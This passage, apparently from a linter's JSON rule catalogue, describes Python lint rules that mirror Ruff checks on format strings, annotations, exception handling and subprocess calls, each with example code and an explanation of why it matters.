          "url": "https://docs.astral.sh/ruff/rules/F504/"
        }
      ],
      "why": "Python ignores the extra keys without an error. The key is a leftover after the format string was edited, or a placeholder was misspelled and the value is never shown.\n\nTo fix, remove the key, or add the placeholder."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `\"...\" % x` whose format string does not parse, such as a `%` at the end of the string.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          3,
          4,
          5,
          6,
          7,
          8,
          9,
          10
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "percent-format-invalid-format",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F501",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F501/"
        }
      ],
      "why": "Python raises `ValueError: incomplete format` when the line runs, so the failure is at run time and only on the path that reaches the line.\n\nTo fix, escape a literal percent sign as `%%`, or complete the conversion."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format with named placeholders that the dict does not have.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          7,
          9,
          10
        ],
        "spans": [
          {
            "column": 1,
            "length": 24,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "percent-format-missing-argument",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F505",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F505/"
        }
      ],
      "why": "Python raises a `KeyError` for the first missing key when the line runs. A key that is misspelled in the string or in the dict is the usual cause.\n\nTo fix, add the key, or correct the name."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format that has both positional placeholders (`%s`) and named ones (`%(a)s`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          6,
          7,
          8,
          9,
          10
        ],
        "spans": [
          {
            "column": 1,
            "length": 14,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "percent-format-mixed-positional-and-named",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F506",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F506/"
        }
      ],
      "why": "A format takes its values from a tuple or from a mapping, not both. Python raises a `TypeError` at run time.\n\nTo fix, use only named placeholders with a dict, or only positional ones with a tuple."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format whose number of placeholders differs from the number of values in the tuple.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          5,
          7,
          8
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 6
          },
          {
            "column": 1,
            "length": 14,
            "line": 9
          },
          {
            "column": 1,
            "length": 16,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "percent-format-positional-count-mismatch",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F507",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F507/"
        }
      ],
      "why": "Python raises a `TypeError` when the line runs: `not enough arguments for format string` with too few values, `not all arguments converted during string formatting` with too many.\n\nTo fix, make the two counts the same."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format with a `*` width or precision applied to a dict.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          7,
          8,
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "percent-format-star-requires-sequence",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F508",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F508/"
        }
      ],
      "why": "A `*` takes its number from a tuple of values. Python raises `TypeError: * wants int`.\n\nTo fix, pass a tuple with the width before the value, or write the number in the format."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `%` format with a conversion character that Python does not know, as in `\"%z\" % x`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"%\" % a\n\"%z\" % a\n\"%s %(x)s\" % a\n\"%(x)s\" % (a,)\n\"%s %s\" % {\"x\": 1}\n\"%(x)s\" % {\"x\": 1, \"y\": 2}\n\"%(x)s %(y)s\" % {\"x\": 1}\n\"%s %s\" % (a,)\n\"%*s\" % {\"x\": 1}\n\"%s\" % a\n\"%s %s\" % (*a,)\n\"%(x)s\" % {\"x\": 1, **a}\n\"%%\" % ()\nb\"%s\" % (a, b)\n",
        "language": "python",
        "other_lines": [
          2,
          4,
          5,
          6,
          7,
          8,
          9,
          10
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "percent-format-unsupported-format-character",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F509",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F509/"
        }
      ],
      "why": "Python raises `ValueError: unsupported format character` when the line runs. It is usually a literal `%` that should have been written `%%`.\n\nTo fix, write `%%` for a percent sign, or a conversion Python has (`s`, `r`, `a`, `d`, `i`, `f`, `x` and so on)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `\"...\" % x` whose format string and values pair up: a tuple with as many values as placeholders, a dict for named fields, or one value for one placeholder.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 5,
            "length": 8,
            "line": 39
          }
        ]
      },
      "fix": null,
      "id": "printf-string-formatting",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP031",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP031/"
        }
      ],
      "why": "The `%` operator is the oldest of Python's three ways to format a string. An f-string or `.format` puts the value where it is used, and a single value or a tuple that is mistaken for the arguments (`\"%s\" % some_tuple`) is a classic bug of `%`.\n\nTo fix, write an f-string, or use `.format`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a quoted name in a parameter, return or variable annotation when the `target_version` does not evaluate annotations at definition (3.14 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 10,
            "length": 5,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "quoted-annotation",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP037",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP037/"
        }
      ],
      "why": "The quotes are there to delay evaluation of a name that is not defined yet. From Python 3.14 annotations are evaluated lazily by themselves, so the quotes only hide the name from tools and add noise.\n\nTo fix, remove the quotes."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `raise` of `NotImplemented`, with or without a call.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "raise NotImplemented\nraise NotImplemented(\"a\")\nraise NotImplementedError\nraise\n",
        "language": "python",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 1
          },
          {
            "column": 1,
            "length": 25,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "raise-not-implemented",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F901",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F901/"
        }
      ],
      "why": "`NotImplemented` is the value that binary operators return to say \"I cannot do this for that type\". It is not an exception, so raising it fails with a `TypeError` that hides the real reason.\n\nTo fix, raise `NotImplementedError`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `raise` of an exception inside an `except` clause without `from`. Nested `if`, loops, `with` and `match` are part of the clause; a nested `try`, function or class is not. Raising the name the clause bound is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = 1\ntry:\n    pass\nexcept OSError as e:\n    if x:\n        raise ValueError(\"nested\")\n    try:\n        raise ValueError(\"try body\")\n    except KeyError:\n        raise ValueError(\"inner handler\")\n    raise e\n    raise ValueError() from e\n    raise ValueError() from None\n\n    def g():\n        raise ValueError(\"function\")\n\n\ntry:\n    pass\nexcept* OSError:\n    raise ValueError\n",
        "language": "python",
        "other_lines": [
          11
        ],
        "spans": [
          {
            "column": 9,
            "length": 26,
            "line": 6
          },
          {
            "column": 9,
            "length": 33,
            "line": 10
          },
          {
            "column": 5,
            "length": 16,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "raise-without-from-inside-except",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "B904",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B904/"
        }
      ],
      "why": "Without `from`, the traceback says \"During handling of the above exception, another exception occurred\", which reads as a bug in the handler. `from err` says that this exception is the result of that one, and `from None` hides the first one on purpose.\n\nTo fix, add `from err`, or `from None`."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports an `except` clause that names a tuple of one exception, `except (E,):`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import collections\nfrom typing import Sequence\n\nx = a = b = 1\n\n\ndef f(a=[], b={}, c=set(), d=list(), e=collections.deque(), g=[x for x in a]):\n    pass\n\n\ndef immutable(a: Sequence[int] = [], b: tuple = (), c=(), d=frozenset(), e=bytearray()):\n    pass\n\n\nassert False\nassert False, \"message\"\nassert 0\ngetattr(x, \"name\")\ngetattr(x, \"__private\")\ngetattr(x, \"class\")\ngetattr(x, \"name\", None)\nsetattr(x, \"name\", 1)\ny = setattr(x, \"name\", 1)\nsetattr(x, \"class\", 1)\nzip(a, b)\nzip(a)\nzip(a, b, strict=True)\ntry:\n    pass\nexcept (ValueError,):\n    pass\nexcept (ValueError, TypeError):\n    pass\n",
        "language": "python",
        "other_lines": [
          7,
          11,
          15,
          16,
          18,
          22,
          25
        ],
        "spans": [
          {
            "column": 8,
            "length": 13,
            "line": 30
          }
        ]
      },
      "fix": null,
      "id": "redundant-tuple-in-exception-handler",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "B013",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B013/"
        }
      ],
      "why": "The parentheses and comma make a tuple for no reason, and a reader looks for the other exceptions that are missing.\n\nTo fix, write `except E:`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `re.A`, `re.I`, `re.L`, `re.M`, `re.S`, `re.U` and `re.X`, the short names of `re.ASCII`, `re.IGNORECASE`, `re.LOCALE`, `re.MULTILINE`, `re.DOTALL`, `re.UNICODE` and `re.VERBOSE`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          41,
          43
        ],
        "spans": [
          {
            "column": 21,
            "length": 4,
            "line": 44
          }
        ]
      },
      "fix": null,
      "id": "regex-flag-alias",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "FURB167",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/FURB167/"
        }
      ],
      "why": "The one-letter names are hard to tell apart and to look up (`re.S` is `DOTALL`, `re.M` is `MULTILINE`). The long names say what the flag does.\n\nTo fix, write the long name."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `return` that is not inside a function.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "return 1\n\n\ndef f():\n    return 1\n\n\nclass A:\n    return 2\n\n",
        "language": "python",
        "other_lines": [
          8
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 1
          },
          {
            "column": 5,
            "length": 8,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "return-outside-function",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F706",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F706/"
        }
      ],
      "why": "Python rejects the file with `SyntaxError: 'return' outside function`.\n\nTo fix, remove it, or move the code into a function."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a statement `setattr(x, \"name\", v)` with a literal name that is a valid identifier.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import collections\nfrom typing import Sequence\n\nx = a = b = 1\n\n\ndef f(a=[], b={}, c=set(), d=list(), e=collections.deque(), g=[x for x in a]):\n    pass\n\n\ndef immutable(a: Sequence[int] = [], b: tuple = (), c=(), d=frozenset(), e=bytearray()):\n    pass\n\n\nassert False\nassert False, \"message\"\nassert 0\ngetattr(x, \"name\")\ngetattr(x, \"__private\")\ngetattr(x, \"class\")\ngetattr(x, \"name\", None)\nsetattr(x, \"name\", 1)\ny = setattr(x, \"name\", 1)\nsetattr(x, \"class\", 1)\nzip(a, b)\nzip(a)\nzip(a, b, strict=True)\ntry:\n    pass\nexcept (ValueError,):\n    pass\nexcept (ValueError, TypeError):\n    pass\n",
        "language": "python",
        "other_lines": [
          7,
          11,
          15,
          16,
          18,
          25,
          30
        ],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "set-attr-with-constant",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "B010",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B010/"
        }
      ],
      "why": "`setattr` is for names known only at run time. With a fixed name `x.name = v` does the same and is checked by type checkers and found by searches for the attribute.\n\nTo fix, write `x.name = v`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `\"sep\".join([a, b])` where the list or tuple is written out in the call.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 5,
            "length": 17,
            "line": 37
          }
        ]
      },
      "fix": null,
      "id": "static-join",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "FLY002",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/FLY002/"
        }
      ],
      "why": "The items are known where they are written, so the result is a fixed text with the items inserted, which an f-string says directly without building a list.\n\nTo fix, write an f-string: `f\"{a}, {b}\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `.format` call with keyword arguments that no field names.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"{\".format(a)\n\"{} {0}\".format(a)\n\"{} {}\".format(a)\n\"{}\".format(a, b)\n\"{x}\".format(y=1)\n\"{x}\".format(x=1, y=2)\n\"{:{}}\".format(a, b)\n\"{:{:{}}}\".format(a, b, c)\n\"{} {x}\".format(*a, **b)\n\"{}\".format(a, *b)\n\"{0[a].b}\".format(a)\n\"{!}\".format(a)\n\"{0[}\".format(a)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          5,
          9,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 6
          },
          {
            "column": 1,
            "length": 22,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "string-dot-format-extra-named-arguments",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F522",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F522/"
        }
      ],
      "why": "Python ignores the extra keywords without an error, so a leftover after an edit, or a field that was misspelled, goes unnoticed.\n\nTo fix, remove the keyword, or add the field."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `.format` call with positional arguments that no field uses.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"{\".format(a)\n\"{} {0}\".format(a)\n\"{} {}\".format(a)\n\"{}\".format(a, b)\n\"{x}\".format(y=1)\n\"{x}\".format(x=1, y=2)\n\"{:{}}\".format(a, b)\n\"{:{:{}}}\".format(a, b, c)\n\"{} {x}\".format(*a, **b)\n\"{}\".format(a, *b)\n\"{0[a].b}\".format(a)\n\"{!}\".format(a)\n\"{0[}\".format(a)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          4,
          6,
          7,
          9,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "string-dot-format-extra-positional-arguments",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F523",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F523/"
        }
      ],
      "why": "Python ignores the extra arguments without an error. It is usually a field that was removed from the string, or one that was never added.\n\nTo fix, remove the argument, or add the field."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `\"...\".format(...)` call whose string does not parse, such as an unmatched `{` or `}`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"{\".format(a)\n\"{} {0}\".format(a)\n\"{} {}\".format(a)\n\"{}\".format(a, b)\n\"{x}\".format(y=1)\n\"{x}\".format(x=1, y=2)\n\"{:{}}\".format(a, b)\n\"{:{:{}}}\".format(a, b, c)\n\"{} {x}\".format(*a, **b)\n\"{}\".format(a, *b)\n\"{0[a].b}\".format(a)\n\"{!}\".format(a)\n\"{0[}\".format(a)\n",
        "language": "python",
        "other_lines": [
          3,
          4,
          5,
          6,
          7
        ],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 2
          },
          {
            "column": 1,
            "length": 26,
            "line": 9
          },
          {
            "column": 1,
            "length": 15,
            "line": 13
          },
          {
            "column": 1,
            "length": 16,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "string-dot-format-invalid-format",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F521",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F521/"
        }
      ],
      "why": "Python raises a `ValueError` (`Single '{' encountered in format string`) when the line runs. It is usually a literal brace that should have been doubled.\n\nTo fix, write `{{` and `}}` for literal braces."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `.format` call without an argument for a field of its string.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"{\".format(a)\n\"{} {0}\".format(a)\n\"{} {}\".format(a)\n\"{}\".format(a, b)\n\"{x}\".format(y=1)\n\"{x}\".format(x=1, y=2)\n\"{:{}}\".format(a, b)\n\"{:{:{}}}\".format(a, b, c)\n\"{} {x}\".format(*a, **b)\n\"{}\".format(a, *b)\n\"{0[a].b}\".format(a)\n\"{!}\".format(a)\n\"{0[}\".format(a)\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          7,
          9,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 4
          },
          {
            "column": 1,
            "length": 17,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "string-dot-format-missing-arguments",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F524",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F524/"
        }
      ],
      "why": "Python raises an `IndexError` for a positional field or a `KeyError` for a named one when the line runs.\n\nTo fix, pass the argument, or correct the field."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `.format` string that has both automatic fields (`{}`) and numbered ones (`{0}`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = b = c = 1\n\"{\".format(a)\n\"{} {0}\".format(a)\n\"{} {}\".format(a)\n\"{}\".format(a, b)\n\"{x}\".format(y=1)\n\"{x}\".format(x=1, y=2)\n\"{:{}}\".format(a, b)\n\"{:{:{}}}\".format(a, b, c)\n\"{} {x}\".format(*a, **b)\n\"{}\".format(a, *b)\n\"{0[a].b}\".format(a)\n\"{!}\".format(a)\n\"{0[}\".format(a)\n",
        "language": "python",
        "other_lines": [
          2,
          4,
          5,
          6,
          7,
          9,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "string-dot-format-mixing-automatic",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F525",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F525/"
        }
      ],
      "why": "Python raises `ValueError: cannot switch from automatic field numbering to manual field specification` when the line runs.\n\nTo fix, use one kind of field in a string."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a call of `subprocess.run` with no `check` keyword. A call with `**kwargs` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 34
          }
        ]
      },
      "fix": null,
      "id": "subprocess-run-without-check",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PLW1510",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PLW1510/"
        }
      ],
      "why": "By default `run` returns after the command fails and does not tell: the exit status is only in `returncode`, and a script that never reads it goes on as if the command had worked. `check=True` raises `CalledProcessError`, and `check=False` says that the status is read or ignored on purpose.\n\nTo fix, pass `check=True`, or `check=False` when the status is handled."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `X: TypeAlias = ...` when the `target_version` has the `type` statement (3.12 and later).",
      "example": {
        "config": null,
        "fixed": null,
